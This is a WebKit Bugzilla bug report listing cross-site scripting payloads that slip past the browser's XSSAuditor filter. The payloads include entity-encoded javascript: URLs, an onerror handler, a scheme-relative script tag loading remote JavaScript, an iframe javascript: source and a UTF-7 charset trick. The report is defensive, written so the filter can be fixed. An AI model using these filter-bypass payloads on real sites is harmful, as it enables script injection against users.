[Webkit-unassigned] [Bug 26708] New: XSSAuditor false negatives

[bugzilla-daemon at webkit.org]

https://bugs.webkit.org/show_bug.cgi?id=26708

           Summary: XSSAuditor false negatives
           Product: WebKit
           Version: 528+ (Nightly build)
          Platform: All
        OS/Version: All
            Status: NEW
          Severity: Normal
          Priority: P2
         Component: WebCore JavaScript
        AssignedTo: webkit-unassigned at lists.webkit.org
        ReportedBy: abarth at webkit.org
                CC: sam at webkit.org, dbates at berkeley.edu


Gareth Heyes has been look at our XSSAuditor and found a number of false
negatives.  We should fix them:

HTML entities:

test.php?x=%3Ca%20href%3D%26%23x0000006a%26%23x61%26%23x76%26%23x61%26%23x73%26%23x63%26%23x72%26%23x69%26%23x70%26%23x74%26%23x3a%26%23x61%26%23x6c%26%23x65%26%23x72%26%23x74%26%23x28%26%23x31%26%23x29%3Etest%3Ca%3E

test.php?x=%3Cimg%20src=1%20onerror=%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2349%26%2341%3E

Scheme relative paths:

test.php?x=%3Cscript%20src=//businessinfo.co.uk/labs/xss/xss.js%3E%3C/script%3E

iframe + JavaScript URL:

test.php?x=%3Ciframe%20src=javascript:alert(document.domain)%3E

HTTP-Equiv UTF-7:

test.php?x=%3Cmeta%20http-equiv=%22Content-Type%22%20content=%22text/html;%20charset=UTF-7%22%20/%3E%2bADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwByAGkAcAB0AD4-


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